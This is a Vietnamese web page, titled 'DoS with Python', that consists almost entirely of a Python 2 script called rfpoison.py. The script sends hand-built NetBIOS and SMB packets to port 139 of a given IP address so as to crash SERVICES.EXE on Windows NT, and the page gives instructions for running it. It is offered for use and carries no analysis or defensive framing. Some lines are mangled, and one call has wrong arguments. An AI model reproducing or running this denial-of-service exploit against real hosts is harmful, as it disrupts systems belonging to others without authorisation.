DoS bằng Python

DoS bằng Python
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Chương trình DoS rất đơn giản bằng Python
#!/usr/bin/env python
# This only seems to work on NT. Also, it may have to
# be run multiple times
# before SERVICES.EXE will die. Improvements welcome.
# how to run :
# you should be copy this file to rfpoison.py file
# after that you can run rfpoison.py <ip address>
# python interpreter can download from :
# />import string
import struct
from socket import *
import sys
def a2b(s):
bytes = map(lambda x: string.atoi(x, 16),
string.split(s))
data = string.join(map(chr, bytes), '')
return data
def b2a(s):
bytes = map(lambda x: '%.2x' % x, map(ord, s))
return string.join(bytes, ' ')
# NBSS session request
nbss_session = a2b("""
81 00 00 48 20 43 4b 46 44 45
4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43
41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45
42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46
43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00
00 00

""")
# SMB stuff
crud = (
# SMBnegprot Request
"""
ff 53 4d 42 72 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43
20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d
20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20
4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d
49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b
53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30
00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d
62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e
30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00
""",
# SMBsessetupX Request
"""
ff 53 4d 42 73 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff
ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00
00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f
55 50 00 55 6e 69 78 00 53 61 6d 62 61 00
""",
# SMBtconX Request
"""
ff 53 4d 42 75 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00
00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56
45 52 5c 49 50 43 24 00 49 50 43 00
""",
# SMBntcreateX request
"""
ff 53 4d 42 a2 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00
07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00
00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00
00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72
76 73 76 63 00
""",
# SMBtrans Request
"""
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00
00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49
50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00
00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00
00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78
5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c
c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00
""",
# SMBtrans Request
"""
ff 53 4d 42 25 00

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00
00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49
50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00
00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00
00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00
5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00
56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00
00 00 00 00 00 00 ff ff ff ff 00 00 00 00
"""
)
crud = map(a2b, crud)
def smb_send(sock, data, type=0, flags=0):
d = struct.pack('!BBH', type, flags, len(data))
#print 'send:', b2a(d+data)
sock.send(d+data)
def smb_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
type, flags, length = struct.unpack('!BBH', s)
data = sock.recv(length)
assert(len(data) == length)
#print 'recv:', b2a(s+data)
return type, flags, data
def nbss_send(sock, data):
sock.send(data)
def nbss_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)

return s
def main(host, port=139):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host, port)
nbss_send(s, nbss_session)
nbss_recv(s)
for msg in crud[:-1]:
smb_send(s, msg)
smb_recv(s)
smb_send(s, crud[-1]) # no response to this
s.close()
if __name__ == '__main__':
print 'Sending poison...',
main(sys.argv[1])
print 'done.'